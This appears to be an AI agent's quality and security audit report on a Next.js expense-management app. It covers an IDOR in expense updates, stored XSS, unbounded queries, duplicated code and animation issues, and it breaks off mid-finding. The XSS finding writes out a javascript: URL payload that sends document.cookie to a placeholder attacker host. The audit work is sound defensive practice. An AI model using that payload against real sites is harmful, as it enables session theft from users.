================================================================================
GATE 5 — QUALITY & SECURITY AUDIT (node W14_gate_quality_audit)
Repo:    oms-web (Next.js 14 / Tailwind 3 / Prisma+Postgres, standalone)
Branch:  feat/3250-oms-ui-bug-fixes-chips-s
HEAD:    2fa4249  "4. Dead Code (oms-bug-fixes)"
Gate:    gates/nextjs-tailwind-standalone/quality-audit-gate.md
Result:  FAIL — 4 unresolved P1 findings
================================================================================

FEATURE FILES AUDITED (12)
  app/(app)/admin/items/page.tsx
  app/(app)/admin/projects/page.tsx
  app/(app)/admin/suppliers/page.tsx
  app/(app)/admin/uom/page.tsx
  app/(app)/admin/users/page.tsx
  app/(app)/expense-summary/[project]/page.tsx
  app/(app)/expense-summary/page.tsx
  app/(app)/expense-summary/ExpenseSummaryRowActions.tsx
  app/(app)/expenses/page.tsx
  app/(app)/orders/page.tsx
  components/forms/ExpenseForm.tsx
  components/forms/ResetPasswordForm.tsx

Supporting files read to trace the above (not themselves in scope, cited where
a finding's root cause lives there): middleware.ts, next.config.mjs,
tailwind.config.ts, app/globals.css, app/api/uploads/route.ts,
lib/params.ts, lib/auth.ts, lib/prisma.ts, lib/validation/schemas.ts,
lib/actions/{expenses,profile,shared}.ts, lib/permissions/{guard,ui,registry}.ts,
lib/queries/{expenses,rbac}.ts, lib/orders/access.ts,
components/ui/{AttachmentChip,DataTable,ListToolbar,Pagination,RowActions,
SearchInput,FilterBar}.tsx, components/auth/Can.tsx,
app/(app)/expenses/ExpenseRowActions.tsx, app/(app)/admin/items/ItemRowActions.tsx.

--------------------------------------------------------------------------------
SKILL RESOLUTION (gate file "Resolution order", per-skill, as required)
--------------------------------------------------------------------------------
No slash-command layer was available for any of the seven skills (steps 1 and 2
of the resolution order both unavailable). All seven resolved via step 3 —
read as FILES. Note the gate file's stated path
(.claude/skills/nextjs-tailwind-<name>/SKILL.md) does not exist in this
checkout; the actual location is one level up, outside the repo:

  /opt/drcarrot-deploy/cross-repo-orchestration/skills/nextjs-tailwind-<name>/SKILL.md

  1. code-quality .............. step 3 (file)  OK
  2. dry-architecture .......... step 3 (file)  PARTIAL — see below
  3. css-dry ................... step 3 (file)  OK
  4. css-performance ........... step 3 (file)  OK
  5. performance ............... step 3 (file)  OK
  6. animation-performance ..... step 3 (file)  OK
  7. security .................. step 3 (file)  OK

DEGRADED SKILL — nextjs-tailwind-dry-architecture-audit
  That SKILL.md is byte-corrupted between roughly its "Core principle" heading
  and its "Investigation workflow" section: the middle ~60% of the file is
  mojibake/garbled text, not readable English (e.g. "Ablwind copy-ighesCen
  duplication repreame underlyi"). Its YAML frontmatter, its `description`, its
  "Investigation workflow" list and its "Output format" block ARE intact and
  were followed. What is unreadable is the body detailing the "same concept, not
  same shape" test and its worked examples.
  Impact: the [dry-architecture] findings below were produced from the intact
  frontmatter + workflow + output format, applying the same-concept test as
  described in the (readable) css-dry skill, which states it explicitly. This is
  reported rather than silently skipped, per the gate file's rule 4. Recommend
  restoring that file from source before the next run.

--------------------------------------------------------------------------------
REAL TOOL OUTPUT (commands actually executed in this checkout)
--------------------------------------------------------------------------------
$ npx tsc --noEmit
  -> exit 0, no diagnostics.

$ npx next lint
  -> "✔ No ESLint warnings or errors"

$ npx next build
  -> "✓ Compiled successfully"; 25/25 static pages generated.
     First Load JS shared by all: 87.3 kB
       chunks/2117-*.js       31.7 kB
       chunks/fd9d1056-*.js   53.6 kB
       other shared           1.89 kB
     Largest route First Load JS: 127 kB (/admin/items, /admin/projects,
       /admin/suppliers, /admin/uom, /admin/users)
     /expenses 125 kB · /orders 125 kB · /expense-summary/[project] 124 kB
     /expense-summary 114 kB · /profile/reset-password 101 kB
     Middleware 30.5 kB
  -> No oversized chunk. No bundle-size finding raised.

$ npx vitest run
  -> Test Files  6 failed | 94 passed (100)
     Tests       8 failed | 732 passed (740)      Duration 268.77s
     Failing:
       tests/expense-form.test.tsx > selects an expense type via the row's Listbox
       tests/expense-summary-page.test.tsx > renders one aggregated row per project
         with its total and a View Details link
       tests/expenses-page.test.tsx > renders a row per expense with date, project,
         item count, total, and status
       tests/item-form.test.tsx > pre-populates fields from the given item
       tests/order-form.test.tsx > renders the Add Supplier trigger when
         canCreateSupplier is true
       tests/user-form.test.tsx > disables the Role select with a prompt until a
         Type is chosen
       tests/user-form.test.tsx > pre-populates fields, and Role, from the given
         user, and shows the leave-blank password hint
       tests/user-form.test.tsx > resets the selected Role when the Type is changed
         away from the user's current type
  -> RECORDED, NOT COUNTED. Test health belongs to the unit-test gate, not this
     one, so these do not contribute to the P1 count. Flagging anyway because
     three of the six failing files cover THIS ticket's feature files
     (ExpenseForm, expense-summary page, expenses page) and the sampled failure
     is a real assertion mismatch ("Unable to find an element with the text:
     Select..." — the element renders it as a `placeholder` attribute, not text),
     not an environment problem.

--------------------------------------------------------------------------------
AUTO-FIX STATUS (gate file Step 3)
--------------------------------------------------------------------------------
NOTHING WAS AUTO-FIXED. Every finding below is fixed=false.
This node runs with read-only access by design ("You have no write access"),
so Step 3's safe-auto-fix pass could not execute. Three findings would have
qualified as clearly-safe under Step 3 had write access existed — CQ1 (no-op
map), CP2 (duplicated inline SVG), C2 (repeated em-dash span). They are
reported instead. The four P1s would NOT have been auto-fixed regardless: S1
and S2 change security posture (and the gate file forbids ever guessing at an
authorization fix), P1f and D1 change observable behavior.

================================================================================
MERGED FINDINGS — 21 total: 4 × P1, 11 × P2, 6 × P3
================================================================================

################################################################################
# P1 — BLOCKING (4)
################################################################################

[security] S1 — P1 / Severity: High
**File:** lib/actions/expenses.ts
**Location:** lines 82-95, `updateExpense`
**Category:** authz (IDOR — horizontal escalation)
**Problem:** ExpenseItem ids arrive from the client and are used as a bare
  primary-key lookup with no check that the item belongs to the expense being
  edited.
**Evidence:**
    for (const item of items) {
      if (item.id) {
        await tx.expenseItem.update({ where: { id: item.id }, data: { type: item.type, amount: item.amount } });
  The id is client-controlled end to end: components/forms/ExpenseForm.tsx:196
  serializes the row array into a hidden `itemsJson` input, and
  lib/validation/schemas.ts:132 accepts `id: z.string().trim().optional()` with
  no ownership constraint. The surrounding transaction scopes its DELETE
  correctly (`where: { expenseId: id }`, line 68) — only the UPDATE arm is
  unscoped, which is what makes this look intentional-but-missed rather than a
  wholesale absence of authorization.
**Attack scenario:** A user holding `expense:update` opens any expense they may
  legitimately edit. They submit the form with `itemsJson` hand-edited so one
  row's `id` is an ExpenseItem id belonging to a different expense — including
  one they cannot open. The action's only gate, `requirePermission("expense:update")`
  on line 47, passes (they do hold the permission), and the write lands on the
  other expense's row.
**Impact:** Any `expense:update` holder can silently alter the type and amount
  of arbitrary expense line items across the whole table. Financial-record
  tampering with no audit trail — lib/audit.ts's writeAuditLog is not called on
  this path.
**Recommended remediation:** Scope the update to the parent, so a foreign id
  matches zero rows instead of someone else's:
      await tx.expenseItem.updateMany({
        where: { id: item.id, expenseId: id },
        data: { type: item.type, amount: item.amount },
      });
  `existing` (line 68) is already loaded and already scoped to this expense —
  validating `item.id` against it before the loop is equally correct and lets
  the action return a field error rather than silently no-op'ing.
**Risk of change:** Low. Legitimate edits always pass ids that belong to the
  expense, so behavior is unchanged for them. Verify by editing an expense with
  2+ items and confirming both persist.
**Fixed:** NO — never auto-fix an authorization gap (gate file Step 3).

--------------------------------------------------------------------------------

[security] S2 — P1 / Severity: High
**File:** lib/validation/schemas.ts (root cause) → components/ui/AttachmentChip.tsx (sink)
**Location:** schemas.ts:120-125 `attachmentMetaSchema`; AttachmentChip.tsx:44
**Category:** injection (stored XSS via unvalidated URL scheme)
**Problem:** An attachment's `url` is validated only as a non-empty string, is
  persisted verbatim, and is later rendered straight into an anchor `href`.
**Evidence:** schemas.ts:120-125 —
    export const attachmentMetaSchema = z.object({
      fileName: z.string().trim().min(1),
      mimeType: z.string().trim().min(1),
      size:     z.coerce.number().int().positive(),
      url:      z.string().trim().min(1),        // <-- no scheme/prefix constraint
    });
  Persisted unmodified — lib/actions/expenses.ts:37 (createExpense) and :91
  (updateExpense) both do `...(i.attachment ? { attachment: { create: i.attachment } } : {})`.
  Rendered — components/ui/AttachmentChip.tsx:44 —
    <a href={url} target="_blank" rel="noreferrer" ...>
**Why the value is attacker-controlled rather than server-derived:** by design.
  app/api/uploads/route.ts:85-93 returns the file metadata WITHOUT creating the
  Attachment row (the Attachment_exactly_one_parent CHECK forbids a parentless
  row), so the client carries `url` through the form and hands it back. That is
  a deliberate, documented flow — but it means the server never re-derives the
  URL and currently never re-validates it either.
**Attack scenario:** A user with `expense:create` submits `itemsJson` containing
  `attachment: {fileName:"invoice.pdf", mimeType:"application/pdf", size:1,
  url:"javascript:fetch('//attacker/'+document.cookie)"}`. No file is ever
  uploaded, so none of the upload route's allowlist checks (extension, MIME,
  2MB cap, filename sanitization — all correctly implemented at route.ts:53-76)
  are reached. The row persists. Every later viewer of that expense, and of
  /expense-summary/<project> (which renders the same chip at
  app/(app)/expense-summary/[project]/page.tsx:48), gets a link that executes
  attacker script in their session on click.
**Impact:** Stored XSS against any user who opens the affected expense,
  including higher-privileged ones — session theft, actions performed as the
  victim. A `//attacker.example` value is a lower-severity but equally available
  phishing variant.
**Recommended remediation:** Constrain the field to the only shape the upload
  route can actually produce:
      url: z.string().trim().regex(/^\/uploads\/[A-Za-z0-9._-]+$/, "Invalid attachment reference"),
  That pattern is exactly what route.ts:75-82 builds (`/uploads/${safeName}`,
  where safeName is already `[^a-zA-Z0-9._-]` -> `_`), so it rejects every
  crafted value while accepting every legitimate one. Defense in depth: have
  AttachmentChip refuse any href not starting with `/uploads/`.
**Risk of change:** Low, but it IS observable — any pre-existing row whose url
  does not match the pattern would stop rendering as a link. Check the
  Attachment table for non-conforming urls before shipping.
**Fixed:** NO — changes security posture and validation behavior.

--------------------------------------------------------------------------------

[performance] P1f — P1
**File:** lib/queries/expenses.ts (root cause) — consumed by app/(app)/expense-summary/page.tsx:18
**Location:** expenses.ts:64-95, `expenseSummaryByProject`
**Category:** data-fetching
**Problem:** Two completely unbounded queries per page view, aggregated in JS,
  feeding a page that renders no pagination at all.
**Evidence:** expenses.ts:65-72 —
    const grouped = await prisma.expenseItem.groupBy({ by: ["expenseId"], _sum: { amount: true } });
    const expenses = await prisma.expense.findMany({
      select: { id: true, projectId: true, project: { select: { name: true } } },
    });
  Neither has a `where`, a `take`, or a `skip`. The search filter (line 87-89)
  and the sort (line 91-93) then run in JS over the full materialized array.
  Confirming the page never bounds it: app/(app)/expense-summary/page.tsx
  imports no `Pagination` (contrast every other list page, which renders
  `<Pagination page={params.page} pageSize={params.pageSize} total={total} />`)
  and ignores `params.page`/`params.pageSize` entirely.
**Why it matters:** Every row of ExpenseItem and every row of Expense is pulled
  into the Node process on each request, and every project row is serialized
  into the RSC payload to the browser. Cost grows linearly and without bound
  with table size — this is the one list screen in the app that does not degrade
  gracefully. Directly hits TTFB and the page's LCP. The two awaits are also
  sequential when they are independent.
**Recommended fix:** Push the aggregation into SQL — group ExpenseItem joined to
  Expense by projectId, with ORDER BY / LIMIT / OFFSET server-side — and render
  `<Pagination>` on the page, matching the `skipTake(params)` pattern
  lib/params.ts:58 already provides and every sibling query already uses. If a
  single-query rewrite is out of scope for this ticket, `Promise.all` the two
  reads as an interim step and add the paging.
**Risk of change:** Medium — this is the screen's core query and re-shaping it
  changes result ordering/paging semantics. tests/expense-summary-page.test.tsx
  already covers the rendering contract (and is currently failing, see tool
  output above — fix that first so it can serve as the regression net).
**Fixed:** NO — behavior-changing (adds pagination to a currently unpaginated screen).

--------------------------------------------------------------------------------

[dry-architecture] D1 — P1
**Concept:** "build a list-page URL preserving current list params"
**Files:** defined 9 times, once in each of this ticket's list pages —
    app/(app)/admin/items/page.tsx:38-44
    app/(app)/admin/projects/page.tsx:37-43
    app/(app)/admin/suppliers/page.tsx:39-45
    app/(app)/admin/uom/page.tsx:37-43
    app/(app)/admin/users/page.tsx:52-58
    app/(app)/expenses/page.tsx:32-38
    app/(app)/orders/page.tsx:40-46
    app/(app)/expense-summary/page.tsx:30-36
    app/(app)/expense-summary/[project]/page.tsx:55-61
  (verified: `grep -rln "const buildHref" app` returns exactly these 9)
**Evidence:** character-identical in all nine but for the final template string:
    const buildHref = (extra: Record<string, string | number | undefined>) => {
      const p = new URLSearchParams();
      for (const [k, v] of Object.entries({ ...params, ...extra })) {
        if (v !== undefined && v !== "") p.set(k, String(v));
      }
      return `/admin/items?${p.toString()}`;   // <-- only this line differs
    };
**Why these are the same concept:** They are not merely similar-looking — they
  are one function with one varying literal, and every one of them is passed to
  the same prop (`DataTable`'s `buildSortHref`). Any change to list-URL encoding
  — dropping empty params, resetting `page` on re-sort (see CQ5), adding a param
  — must be made nine times or the pages drift.
**The fix already exists in this codebase and is simply not being reused.**
  components/ui/Pagination.tsx:50-57 contains a strictly better version of the
  same function, deriving the base path from `usePathname()` and the params from
  `useSearchParams()` instead of hardcoding either. Its own comment (lines
  42-49) records that it was written precisely because passing the page's copy
  across the RSC/Client boundary crashed production with "Functions cannot be
  passed directly to Client Components". So the codebase has already paid for
  this lesson once, in this exact area.
**Recommended fix:** Hoist a `buildListHref(basePath, params, extra)` into
  lib/params.ts — which already owns every other list-param concern (parse,
  skipTake, orderBy, orderByMap) and is already imported by all nine pages, so
  this adds no new import anywhere. Alternatively, let `DataTable` derive the
  sort href the way `Pagination` already does and drop the `buildSortHref` prop
  entirely; that removes the duplication rather than relocating it.
**Priority:** P1 — nine copies of one function across every changed page in the
  ticket, with a known, already-encountered failure mode.
**Risk of change:** Low-to-medium. All nine call sites change. If the
  DataTable-derives-it option is taken, note that DataTable is currently a
  Server Component (no "use client") and would need to become a client
  component or take the pathname as a string prop — do not repeat the crash
  Pagination.tsx documents.
**Fixed:** NO — touches nine files and the DataTable prop contract.

################################################################################
# P2 (11)
################################################################################

[security] S3 — P2 / Severity: Medium
**File:** lib/actions/expenses.ts
**Location:** lines 11-15, `parseExpenseForm`
**Category:** input-validation
**Problem:** `JSON.parse` on a client-controlled string with no try/catch, ahead
  of Zod.
**Evidence:**
    function parseExpenseForm(formData: FormData) {
      const raw = Object.fromEntries(formData);
      const items = JSON.parse((raw.itemsJson as string) || "[]");
      return { ...raw, items };
    }
  Called at line 19 (createExpense) and line 48 (updateExpense), both before
  `expenseSchema.safeParse`, so Zod's error handling never gets the chance to
  produce a field error.
**Attack scenario / impact:** Any authenticated caller POSTs the Server Action
  with `itemsJson=<malformed>`; the SyntaxError propagates out of the action to
  Next's error boundary. No data exposure and no DoS beyond one request, but it
  turns a validation problem into a 500 and, depending on deployment error
  config, can surface a stack frame. Low real-world severity — raised because
  it sits on the same client-controlled path as S1 and S2 and is trivially
  closed.
**Recommended remediation:** Wrap the parse and return an ActionState field
  error, so the payload is rejected the same way every other bad input is:
      let items: unknown = [];
      try { items = JSON.parse((raw.itemsJson as string) || "[]"); }
      catch { return { ok: false, fieldErrors: { items: "Invalid expense items." } }; }
**Overlap:** same line as [code-quality] CQ3 (error-handling lens). Both kept per
  the gate file's "near-duplicates from two lenses are signal" rule.
**Fixed:** NO — changes the action's response contract on a new path.

--------------------------------------------------------------------------------

[performance] P2f — P2
**File:** app/(app)/expense-summary/[project]/page.tsx
**Location:** lines 21-24 (`generateMetadata`) and line 33 (page body)
**Category:** data-fetching
**Problem:** The identical Project query runs twice per request.
**Evidence:**
    // line 22, inside generateMetadata
    const project = await prisma.project.findUnique({ where: { id: params.project } });
    // line 33, inside the page component
    const project = await prisma.project.findUnique({ where: { id: routeParams.project } });
  Next.js invokes `generateMetadata` and the page in the same request. Neither
  call is memoized — contrast lib/queries/rbac.ts:40, where
  `getUserWithPermissions` is wrapped in React `cache()` for exactly this reason
  and documents it ("Memoized per request (React `cache`) so the ... re-check
  doesn't re-query once per guarded page/action in the same render").
**Why it matters:** One redundant DB round trip on every view of this page,
  added directly to TTFB. Small in absolute terms; notable because the codebase
  already has the fix pattern in-tree and this is the one place that skips it.
**Recommended fix:** Add a cached accessor to lib/queries/masters.ts —
  `export const getProject = cache((id: string) => prisma.project.findUnique({ where: { id } }))`
  — and call it from both places. This also resolves CQ4 (the page's direct
  prisma import).
**Risk of change:** Very low; identical results, one fewer query.
**Fixed:** NO — read-only access.

--------------------------------------------------------------------------------

[performance] P3f — P2
**File:** app/(app)/expenses/page.tsx
**Location:** line 29 (column render) → app/(app)/expenses/ExpenseRowActions.tsx:12
**Category:** rendering
**Problem:** A permission check that costs a signature verification runs once
  per table row instead of once per page.
**Evidence:** expenses/page.tsx:29 —
    { key: "actions", header: "Actions", render: (r) => <ExpenseRowActions id={r.id} /> },
  ExpenseRowActions.tsx:12 wraps its content in `<Can code="expense:update">`.
  components/auth/Can.tsx:10 is an async Server Component that calls
  `getPermissions()` on every render. lib/permissions/ui.ts:36 calls
  `getSession()`, and lib/auth.ts:201 —
    export async function getSession(): Promise<Session | null> {
      const token = cookies().get(SESSION_COOKIE)?.value;
      return verifySessionToken(token);
    }
  — is a plain async function, NOT wrapped in React `cache()`. `verifySessionToken`
  (lib/auth.ts:136+) performs a WebCrypto HMAC verification each time.
**Why it matters:** With `pageSize` up to 100 (lib/params.ts:8), that is up to
  100 HMAC verifications per render of this page. The DB read behind it is
  memoized (`getUserWithPermissions` is cached) so this is CPU, not I/O — but it
  is avoidable CPU on the server's render path, affecting TTFB.
**The correct pattern is already used by the five admin pages** — e.g.
  app/(app)/admin/items/page.tsx:23-25 resolves it once and passes booleans:
    const [{ rows, total }, can] = await Promise.all([listItems(params), getPermissions()]);
    const canUpdate = can("item:update");
    const canDelete = can("item:delete");
**Recommended fix:** Hoist `getPermissions()` into this page's existing
  `Promise.all` (line 22 already has one) and pass `canUpdate` down as a prop,
  exactly as the admin pages do. Independently, wrapping `getSession` in React
  `cache()` in lib/auth.ts would blunt the cost everywhere.
**Risk of change:** Low — same rendered output; verify the Edit icon still hides
  for a user without `expense:update`.
**Overlap:** same root cause as [dry-architecture] D3, different lens (cost vs.
  inconsistency).
**Fixed:** NO — read-only access.

--------------------------------------------------------------------------------

[code-quality] CQ1 — P2
**File:** app/(app)/expense-summary/[project]/page.tsx
**Location:** line 79, and the type on line 39
**Category:** dead-code
**Problem:** A `.map()` that produces an object identical to its input, plus the
  type intersection that exists only to justify it.
**Evidence:**
    // line 39
    const columns: Column<(typeof rows)[number] & { id: string }>[] = [
    // line 79
    rows={rows.map((r) => ({ ...r, id: r.id }))}
  `rows` here comes from `expenseItemsForProject` (lib/queries/expenses.ts:125),
  which returns `prisma.expenseItem.findMany(...)` results — every row already
  has `id`. So `{ ...r, id: r.id }` copies `id` onto itself, and
  `& { id: string }` widens a type that already satisfies the constraint.
**Why it matters:** It allocates a new object per row for nothing, and it reads
  as though a real key remapping is happening. The genuine version of this
  pattern is 40 lines away in the sibling file —
  app/(app)/expense-summary/page.tsx:44 does `({ ...r, id: r.projectId })`,
  which IS necessary because those aggregate rows have no `id`. Someone
  maintaining this pair has to diff them carefully to see that one is load-
  bearing and one is not.
**Recommended fix:** `rows={rows}`, and drop `& { id: string }` from line 39.
**Risk of change:** None — provably identical output. `tsc --noEmit` (clean
  today) is a sufficient check.
**Fixed:** NO — would have qualified for Step 3 auto-fix, but this node has no
  write access.

--------------------------------------------------------------------------------

[code-quality] CQ2 — P2
**File:** components/forms/ExpenseForm.tsx
**Location:** lines 91-115, `handleUpload`
**Category:** error-handling
**Problem:** `try`/`finally` with no `catch` — the transport-failure path is
  silently swallowed while the HTTP-error path is handled properly.
**Evidence:**
    setUploadingIndex(index);
    try {
      const body = new FormData();
      body.set("file", file);
      const res = await fetch("/api/uploads", { method: "POST", body });
      const data = await res.json().catch(() => ({}));
      if (!res.ok) { setUploadError(data.error ?? "Upload failed."); return; }   // handled
      updateRow(index, { attachment: data.file as UploadedAttachment });
    } finally {
      setUploadingIndex(null);                                                   // no catch
    }
  Note the file already demonstrates it knows to do this — `.catch(() => ({}))`
  guards the JSON parse one line up, and the oversize case sets `uploadError`
  at line 94. Only the `fetch` rejection is unguarded.
**Why it matters:** On a dropped connection or offline browser, `fetch` rejects.
  `finally` resets `uploadingIndex`, so the label flips from "Uploading…" back
  to "Upload" with no message and no attached file — indistinguishable from the
  user never having clicked. `uploadError` (rendered at line 258) stays null.
  The rejection also surfaces as an unhandled promise rejection in the console.
**Recommended fix:** add
    } catch { setUploadError("Upload failed. Please check your connection and try again."); }
  before the `finally`.
**Risk of change:** Low — adds a message on a path that currently shows nothing.
**Fixed:** NO — read-only access.

--------------------------------------------------------------------------------

[code-quality] CQ3 — P2
**File:** lib/actions/expenses.ts
**Location:** line 13, `parseExpenseForm`
**Category:** error-handling
**Problem:** Unguarded `JSON.parse` turns a recoverable validation failure into
  an unhandled exception, bypassing the ActionState error channel every other
  failure in this module uses.
**Evidence / fix:** identical to [security] S3 above — see there.
**Why it matters (this lens):** Both actions in this file return
  `{ ok: false, fieldErrors: ... }` for every other bad input (lines 20, 49).
  This one path throws instead, so the form's `state.message` rendering
  (ExpenseForm.tsx:195) can never display it and the user gets an error page
  rather than an inline message.
**Overlap:** deliberate near-duplicate of S3, kept per the gate file's Step 2
  rule. S3 frames it as unvalidated input on an attacker-reachable path; CQ3
  frames it as inconsistent error handling within the module.
**Fixed:** NO — read-only access.

--------------------------------------------------------------------------------

[dry-architecture] D2 — P2
**Concept:** "the ExpenseType domain and its human-readable labels"
**Files:**
    components/forms/ExpenseForm.tsx:37-45              (EXPENSE_TYPE_OPTIONS)
    app/(app)/expense-summary/[project]/page.tsx:11-19  (EXPENSE_TYPE_OPTIONS)
    lib/validation/schemas.ts:133-141                   (the z.enum value list)
**Evidence:** the two option arrays are byte-identical, including order:
    { value: "TRAVEL",        label: "Travel Allowance" },
    { value: "MATERIAL",      label: "Material" },
    ... through ...
    { value: "MISCELLANEOUS", label: "Miscellaneous" },
  and schemas.ts holds the same seven values as the authoritative validation
  list: z.enum(["TRAVEL","MATERIAL","LABOUR","FOOD","FUEL","MAINTENANCE","MISCELLANEOUS"]).
**Why these are the same concept:** They are three projections of one closed
  domain. Adding an expense type requires editing all three; miss the display
  copies and the value silently renders as its raw enum name — the summary page
  already has that fallback wired in at line 41
  (`EXPENSE_TYPE_OPTIONS.find(...)?.label ?? r.type`), which means the failure
  is silent rather than loud. Miss the schema and the new type is rejected
  server-side.
**Recommended fix:** One exported const — values derived from the Zod enum (or
  from Prisma's generated `ExpenseType`) paired with labels — in a shared module
  both consumers import. lib/validation/schemas.ts is the natural home since it
  already owns the authoritative list; the two UI copies become imports.
**Priority:** P2
**Risk of change:** Low. Same values, same order, so both the `<Listbox>` options
  and the summary filter render identically. Purely additive at the schema end.
**Fixed:** NO — read-only access.

--------------------------------------------------------------------------------

[dry-architecture] D3 — P2
**Concept:** "resolve this viewer's row-level permissions for a list page"
**Files:** two competing implementations across the ticket's own list pages —
  Hoisted (correct, 5 files):
    app/(app)/admin/items/page.tsx:23-25, admin/projects:23-25,
    admin/suppliers:23-25, admin/uom:23-25, admin/users:30-36
      -> getPermissions() in the page's Promise.all, booleans passed as props
  Per-row (2 files):
    app/(app)/expenses/page.tsx:29 -> ExpenseRowActions -> <Can code="expense:update">
    app/(app)/expense-summary/page.tsx:26 -> ExpenseSummaryRowActions (no gate at all)
**Why these are the same concept:** All seven pages answer "may this viewer edit
  / delete this row" for a paginated table. Two different mechanisms for one
  question means a change to how permissions resolve has to be found in two
  shapes, and it is already producing measurably different cost (see P3f).
**Recommended fix:** Standardize on the hoisted form — it is what
  lib/permissions/ui.ts:26-29 prescribes in its own doc comment ("Calling this
  after requirePermission() in the same render costs no extra DB round trip"),
  it is the majority pattern (5 of 7), and it is the faster one.
**Deliberate non-finding:** ExpenseSummaryRowActions having no `<Can>` at all is
  NOT a gap. Its only action is a view link, and components/ui/RowActions.tsx:20-22
  documents the rule — "view has no separate permission, since reaching this row
  already required the list page's own *:read permission" — which middleware.ts
  enforces via ROUTE_PERMISSIONS' `expense_summary:read` entry
  (lib/permissions/registry.ts:111). Consistent with the app's model.
**Priority:** P2
**Risk of change:** Low — same rendered output; verify gated icons still hide.
**Fixed:** NO — read-only access.

--------------------------------------------------------------------------------

[css-dry] C1 — P2
**Concept:** "row-action icon link" (the icon-button in a table's Actions column)
**Files:** three separate hand-rolled implementations —
    components/ui/RowActions.tsx:33
      className="p-1.5 -m-1.5 text-text"                  + <Eye className="h-4 w-4" />
    components/ui/RowActions.tsx:37
      className="p-1.5 -m-1.5 text-status-info"           + <Pencil className="h-4 w-4" />
    components/ui/RowActions.tsx:45  (button variant)
      className="p-1.5 -m-1.5 text-status-danger"         + <Trash2 className="h-4 w-4" />
    app/(app)/expenses/ExpenseRowActions.tsx:13
      className="inline-flex p-1.5 -m-1.5 text-status-info" + <Pencil className="h-4 w-4" />
    app/(app)/expense-summary/ExpenseSummaryRowActions.tsx:9
      className="inline-flex p-1.5 -m-1.5 text-text"        + <Eye className="h-4 w-4" />
**Why these are the same concept:** Identical negative-margin hit-target recipe
  (`p-1.5 -m-1.5`), identical icon sizing (`h-4 w-4`), identical `aria-label`
  convention ("View X" / "Edit X" / "Delete X"), same visual slot in the same
  table column. A change to the touch-target size or the icon scale must apply
  to all five or the Actions column becomes visibly ragged across screens.
**Drift is already present, and it is this ticket's own additions that introduced
  it:** the two files added by #3250 prepend `inline-flex`; the three in
  RowActions.tsx do not. Both files' comments say they are deliberately
  "mirroring" the existing pattern (ExpenseRowActions.tsx:5-9,
  ExpenseSummaryRowActions.tsx:4-6) — mirroring by copy, which is exactly the
  drift this audit looks for.
**Recommended primitive:** `RowActionIcon({ href | onClick, label, tone, icon })`
  in components/ui/. Variant set justified strictly by what exists — three tones:
  `text-text` (view), `text-status-info` (edit), `text-status-danger` (delete).
  No other tone appears anywhere, so propose no others.
**Priority:** P2
**Risk of change:** Low, but visually verifiable: adding `inline-flex` to the
  three RowActions instances (or removing it from the two new ones) is a real
  layout change. Settle which is correct against the #3248 design spec first,
  then consolidate. Five call sites.
**Fixed:** NO — consolidating changes rendered markup.

--------------------------------------------------------------------------------

[animation-performance] A1 — P2 (cross-cutting — reported once, per the skill)
**Files:** repo-wide
**Animated properties:** all of them
**Problem:** No reduced-motion support exists anywhere.
**Evidence:** `grep -rn "motion-reduce\|prefers-reduced-motion" app components`
  -> NO MATCHES. Meanwhile ~10 transitions ship (full inventory in A2 plus:
  Listbox.tsx:227 transition-transform, StatusToggle.tsx:50,53
  transition-colors/transform, DatePicker.tsx:271 transition-colors,
  button.tsx:24 transition-colors, table.tsx:42 transition-colors,
  Sidebar.tsx:135,149 transition-transform/colors).
**Why it matters:** Most of these are small colour/transform micro-interactions
  where reduced-motion matters little. The ones that do matter are the large
  sliding motions in A2 — SearchInput's 40px->320px width expansion and the
  sidebar's width collapse — which are exactly the "large, fast, or repeated
  motion" class that can cause vestibular discomfort. A user who has set
  prefers-reduced-motion currently gets no accommodation on this app at all.
**Recommended fix:** One global rule in app/globals.css rather than per-component
  variants, since this is a cross-cutting property:
      @media (prefers-reduced-motion: reduce) {
        *, *::before, *::after { transition-duration: 0.01ms !important; animation-duration: 0.01ms !important; }
      }
  Optionally add `motion-reduce:transition-none` to the two width transitions.
**Expected impact:** No change for users who have not set the preference.
**Risk of change:** Very low; scoped entirely behind the media query.
**Fixed:** NO — read-only access.

--------------------------------------------------------------------------------

[animation-performance] A2 — P2
**Files:** components/ui/SearchInput.tsx:111, components/ui/FilterBar.tsx:127,
  components/layout/Sidebar.tsx:101
**Component:** the shared list-page chrome — every one of this ticket's nine list
  pages renders SearchInput and/or FilterBar via `<ListToolbar>`; Sidebar wraps
  all of them via app/(app)/layout.tsx.
**Animated properties:** `width` (SearchInput, Sidebar), `grid-template-rows`
  (FilterBar) — all layout-triggering.
**Evidence:**
    SearchInput.tsx:111  "relative h-10 shrink-0 overflow-hidden transition-[width] duration-200 ease-in-out"
    FilterBar.tsx:127    "order-last grid w-full transition-[grid-template-rows] duration-200 ease-in-out"
    Sidebar.tsx:101      "shrink-0 border-r border-border bg-surface flex flex-col transition-[width]"
  SearchInput's own comment (lines 21-27) confirms the intent: the collapsed
  icon expands to a `w-80` field (line 132).
**Problem:** `width` and `grid-template-rows` both force a full layout pass every
  frame. Sidebar and FilterBar additionally reflow the entire page content
  beside/below them for the whole 200ms, not just their own box.
**Why it matters:** On a list page already rendering up to 100 table rows, a
  200ms layout-thrashing transition has to re-lay-out that table on every frame.
  This is the classic janky-animation pattern the skill exists to catch.
**Recommended fix:**
  - SearchInput: give the container its final width and animate
    `transform: scaleX()` / `translate-x` on the input, keeping opacity for the
    icon swap it already does (lines 122, 132). Compositor-only.
  - Sidebar: same approach, or accept it — it animates rarely (explicit user
    toggle) and the cost is bounded.
  - FilterBar: LEAVE AS IS. `transition-[grid-template-rows]` is the standard
    auto-height accordion technique and has no `transform` equivalent that
    preserves content-driven height. Flagged for completeness of the inventory,
    not as something to change. The file already documents the choice (line 38).
**Expected impact:** Removes per-frame layout from the most frequently triggered
  of the three (the search expand/collapse).
**Risk of change:** Medium for SearchInput — it is a focus-management-sensitive
  component (its comment at lines 21-27 describes deliberate accessibility-tree
  behavior during the transition); do not regress that while changing how it
  animates.
**Scope note:** These three files are NOT in `feature_files`. They are reported
  because every audited page renders them and the animation skill's brief is
  what actually animates on the audited screens. Treat as advisory relative to
  the in-scope findings.
**Fixed:** NO — read-only access, and out of the ticket's changed set.

################################################################################
# P3 (6)
################################################################################

[performance] P4f — P3
**File:** app/(app)/expense-summary/[project]/page.tsx
**Location:** lines 33 and 37
**Category:** data-fetching
**Problem:** Sequential awaits on two independent queries — a waterfall.
**Evidence:**
    const project = await prisma.project.findUnique({ where: { id: routeParams.project } });
    if (!project) notFound();
    const params = parseListParams(searchParams, "expenseDate");
    const { rows, total, totalExpenses } = await expenseItemsForProject(routeParams.project, params);
